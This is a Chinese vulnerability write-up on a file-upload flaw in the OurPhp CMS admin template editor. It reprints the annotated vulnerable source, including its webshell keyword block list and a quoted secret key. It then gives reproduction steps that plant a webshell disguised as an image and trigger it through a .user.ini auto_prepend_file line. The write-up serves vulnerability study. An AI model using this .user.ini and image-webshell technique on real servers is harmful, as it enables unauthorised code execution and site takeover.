OurPhp 后台任意文件上传getshell
思路
漏洞存在 ourphp_filebox.php 文件由于未过滤上传.user.ini文件我们可以自定义一个.user.ini文件,再上传一个图片马getshell。
ourphp_filebox.php文件 从206行开始看
<?php
include '../../config/ourphp_code.php';
include '../../config/ourphp_config.php';
include '../../function/ourphp_function.class.php';
function listDirFiles($dir)
{
$arr = array();
if (is_dir($dir)) {//如果是目录,则进行下一步操作
$d = opendir($dir);//打开目录
if ($d) {//目录打开正常
while (($file = readdir($d)) !== false) {//循环读出目录下的文件,直到读不到为止
if ($file != '.' && $file != '..') {//排除一个点和两个点
if (is_dir($file)) {//如果当前是目录
$arr[$file] = listDirFiles($file);//进一步获取该目录里的文件
} else {
$arr[] = $file;//记录文件名
}
}
}
}
closedir($d);//关闭句柄
}
return $arr;
}
function format($ourphp)
{
$format = 'ico_txt.png';
$formatfont = '不可编辑文件';
if(strstr($ourphp,".html"))
{
$format = 'ico_html.png';
$formatfont = 'html文件可编辑';
}
if(strstr($ourphp,".php"))
{
$format = 'ico_php.png';
$formatfont = 'php文件可编辑';
}
if(strstr($ourphp,".css"))
{
$format = 'ico_css.png';
$formatfont = 'css文件可编辑';
}
if(strstr($ourphp,".js"))
{
$format = 'ico_js.png';
$formatfont = 'js文件可编辑';
}
return array($format,$formatfont);
}
function pw($a,$b)
{
global $db,$ourphp;
session_start();
if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){
$_SESSION['ourphp_out'] = "ourphp";
}else{
if(empty($_SESSION['ourphp_out']))
{
include 'ourphp_checkadmin.php';
}else{
session_start();
}
}
}
function filearray($ourphp)
{
$a = array(
'wap' => '移动端模板',
'default' => '默认模板',
'user' => '会员模板',
'images' => '图片目录',
'js' => 'JS文件目录',
'css' => '样式文件目录',
);
if(isset($a[$ourphp]))
{
return $a[$ourphp];
}else{
if(strstr($ourphp,".html") || strstr($ourphp,".css") || strstr($ourphp,".js") || strstr($ourphp,".php") || strstr($ourphp,".jpg") || strstr($ourphp,".jpeg") || strstr($ourphp,".png") || strstr($ourphp,".gif"))
{
$format = format($ourphp);
return $format[1];
}else{
return "模板目录";
}
}
}
$v = (empty($_GET['validation']))? "0" : $_GET['validation'];
$c = (empty($_GET['code']))? "0" : $_GET['code'];
pw($v,$c);
if(isset($_GET['out'])){
unset($_SESSION['ourphp_out']);
}
$list = '';
if(!isset($_GET['path']))
{
if(empty($_SESSION['ourphp_out']))
{
$file = listDirFiles('../../templates');
}else{
$file = listDirFiles('../../');
}
foreach ($file as $op) {
if(!strstr($op,".")){
$list .= '
<li>
<a href="?path='.$op.'&dir"><img src="../../skin/ico_file.png" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
</li>
';
}
}
}else{
if(empty($_SESSION['ourphp_out']))
{
$file = listDirFiles('../../templates/'.$_GET['path']);
$file2 = '../../templates/'.$_GET['path'];
}else{
$file = listDirFiles('../../'.$_GET['path']);
$file2 = '../../'.$_GET['path'];
}
if(isset($_GET['dir']))
{
foreach ($file as $op) {
if(!strstr($op,".")){
$list .= '
<li>
<a href="?path='.$_GET['path'].'/'.$op.'&dir"><img src="../../skin/ico_file.png" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
</li>
';
}
if(strstr($op,".html") || strstr($op,".css") || strstr($op,".js") || strstr($op,".php") || strstr($op,".htaccess")){
$format = format($op);
$list .= '
<li>
<a href="?path='.$file2.'/'.$op.'&edit"><img src="../../skin/'.$format[0].'" width="80"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
</li>
';
}
if(strstr($op,".jpg") || strstr($op,".jpeg") || strstr($op,".png") || strstr($op,".gif")){
$list .= '
<li>
<a href="'.$file2.'/'.$op.'" target="_blank"><img src="'.$file2.'/'.$op.'" width="80" height="70"><p>'.$op.'<br /><span>'.filearray($op).'</span></p></a>
</li>
';
}
}
}
if(isset($_GET['edit']))
{
if(isset($_GET['path'])){
$openfile = file_get_contents($_GET['path']);
$openfile = str_replace("<textarea", "<ourphp_", $openfile);
$openfile = str_replace("</textarea>", "</ourphp_>", $openfile);
$list = '
<form id="form1" name="form1" method="post" action="?path=edit&ok">
<div class="boxedit">
<textarea id="code" name="code">'.$openfile.'</textarea>
</div>
<div class="boxok">
<p><a href="#"" onClick=window.open("tags.php","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出模板标签</a></p>
<p><a href="#"" onClick=window.open("ourphp_column.php?id=ourphp","go","scrollbars=0,resizable=0,scrollbars=yes,width=1300,height=500,left=150,top=150,screenX=50,screenY=50")>在新窗口中弹出栏目管理</a></p>
<p class="mt-50">
<input type="submit" name="Submit" value="保存代码" class="an" />
</p>
</div>
<input type="hidden" value="'.$_GET['path'].'|'.MD5($_GET['path'].$ourphp['safecode']).'" name="md">
</form>
<script id="script">
var editor = CodeMirror.fromTextArea(document.getElementById("code"), {
lineNumbers: true,
ineWrapping: true,
mode: "markdown"
});
</script>
';
}
}
//如果存在Ok参数就进入到这个循环中
if(isset($_GET['ok']))
{
//如果通过post传参 code和md参数其中一个为空都弹出不能为空呀
if(empty($_POST['code']) || empty($_POST['md'])){
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不能为空呀!</h1>';
}
//explode() 函数把字符串打散为数组。
//把post传进来的md参数 以|打散为一个个的数组
//前端传过来的../../templates/wap/cn/cn_about.html|afe53c30ae3ae72012ba358674198340
//$md[0]= ../../templates/wap/cn/cn_about.html
$md = explode("|", $_POST['md']);
//md5() 函数计算字符串的 MD5 散列。
//获取到md[0]下表的元素拼接上ourphp变量中safecode的值
//在ourphp_config.php中ourphp数组中'safecode' => 'JnlZJ72Ij7dVMgr5KxV1dHTTPkWx2HYU2Ij7dV'
//$md2 == afe53c30ae3ae72012ba358674198340
$md2 = MD5($md[0].$ourphp['safecode']);
//$md[1] = afe53c30ae3ae72012ba358674198340
if($md[1] != $md2){
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">验证不通过呀!</h1>';
}
// 接受post请求 参数code
$code = $_POST['code'];
//str_replace()函数把$code值中的<ourphp_替换成<textarea
$code = str_replace("<ourphp_", "<textarea", $code);
$code = str_replace("</ourphp_>", "</textarea>", $code);
// $_SESSION 存储 Session 变量
// session变量中ourphp_out为空就进入下面的if
//这里判断的$_SESSION['ourphp_out' 是否为空,$_SESSION['ourphp_out变量的赋值是在大概60行if ($a == $ourphp['validation'] && $b == $ourphp['safecode']){
//如果有validation和safecode安全校验码则$_SESSION['ourphp_out']不为空
if(empty($_SESSION['ourphp_out']))
{
//strstr函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
//有就弹出警告
//判断$code 中是否有<?php,<%这种类似的一句话木马 md[0]中是不是有.asp,.aspx....等等后缀,这里就是漏洞产生的地方,没有过滤掉.user.ini文件
//我们可以上次.user.ini文件就可以成功的getshell
if(strstr($code,"<?php") || strstr($code,"<%") || strstr($code,"language=\"php\"") || strstr($code,"language='php'") || strstr($code,"language=php") || strstr($code,"<?=") || strstr($md[0],".php") || strstr($md[0],".asp") || strstr($md[0],".aspx") || strstr($md[0],".jsp") || strstr($md[0],".htaccess"))
{
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
}else{
//没有就写入md[0]到$filego变量 md[0]=../../templates/wap/cn/cn_about.html
//fopen() 函数打开一个文件或 URL
//"w" (写入方式打开,清除文件内容,如果文件不存在则尝试创建之)
$filego = fopen($md[0],'w');
//fwrite() 函数将内容写入一个打开的文件中。
//将$code 写入到$filego 也就是刚刚fopen($md[0],'w');中
fwrite($filego,$code);
fclose($filego);
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';
}
//如果不为空就判断md[0]中是不是有.asp,.aspx....等等后缀,这里就是漏洞产生的地方,没有过滤掉.user.ini文件
//我们可以上次.user.ini文件就可以成功的getshell
}else{
if(strstr($md[0],".asp") || strstr($md[0],".aspx") || strstr($md[0],".jsp") || strstr($md[0],".htaccess"))
{
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不要提交违法代码!</h1>';
}else{
$filego = fopen($md[0],'w');
fwrite($filego,$code);
fclose($filego);
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">编辑成功!</h1>';
}
}
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>OurPHP Filebox 1.0.0</title>
<link href="templates/images/ourphp_login.css?<?php echo rand(11111,99999);?>" rel="stylesheet" type="text/css">
<script type="text/javascript" src="../../function/plugs/jquery/1.7.2/jquery-1.7.2.min.js"></script>
<link rel='stylesheet' href='../../function/plugs/codemirror/codemirror.css'>
<script src='../../function/plugs/codemirror/codemirror.js'></script>
<script src='../../function/plugs/codemirror/markdown.js'></script>
<script src='../../function/plugs/codemirror/xml.js'></script>
<style type='text/css'>
.CodeMirror{border:1px solid silver;border-width:1px 2px}
.cm-header{font-family:arial}
.cm-header-1{font-size:150%}
.cm-header-2{font-size:130%}
.cm-header-3{font-size:120%}
.cm-header-4{font-size:110%}
.cm-header-5{font-size:100%}
.cm-header-6{font-size:90%}
.cm-strong{font-size:140%}
</style>
</head>
<body>
<div id="tabs0" class="mt-50">
<ul class="menu0" id="menu0">
<li class="hover">在线模板编辑</li>
<li><a href="javascript:window.history.go(-1);">返回上一层</a></li>
</ul>
<div class="main" id="main0" style="border-top:2px #488fcd solid; clear:both;">
<ul class="block filelist">
<?php
echo $list;
?>
</ul>
</div>
</div>
</body>
</html>
复现
首先我们在全局->在线模板登陆处抓包
可以看到数据包中有code和md变量,结合上面抓包的内容,会发现code的内容就是模板功能的代码部分,md就是路径。
if(empty($_POST['code']) || empty($_POST['md'])){
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">不能为空呀!</h1>';
}co
$md = explode("|", $_POST['md']);
$md2 = MD5($md[0].$ourphp['safecode']);
if($md[1] != $md2){
$list = '<h1 style="float:left; margin-top:30px; padding-bottom:30px; font-size:20px; width:100%; text-align:center;">验证不通过呀!</h1>';
}
$code = $_POST['code'];
$code = str_replace("<ourphp_", "<textarea", $code);
$code = str_replace("</ourphp_>", "</textarea>", $code);
在内容->图集管理处上传图片马,并记录下路径
{"error":0,"url":"\/function\/uploadfile\/20221025\/20221025205817_80197.jpg"}
上传**.user.ini**文件并设置,执行文件就包含刚刚的图片马
auto_prepend_file=/function/uploadfile/20221025/20221025205817_80197.jpg
成功上传
我们只需要随便执行**.user.ini同路径下Php文件**,该php文件都会去包含我们指定的图片马。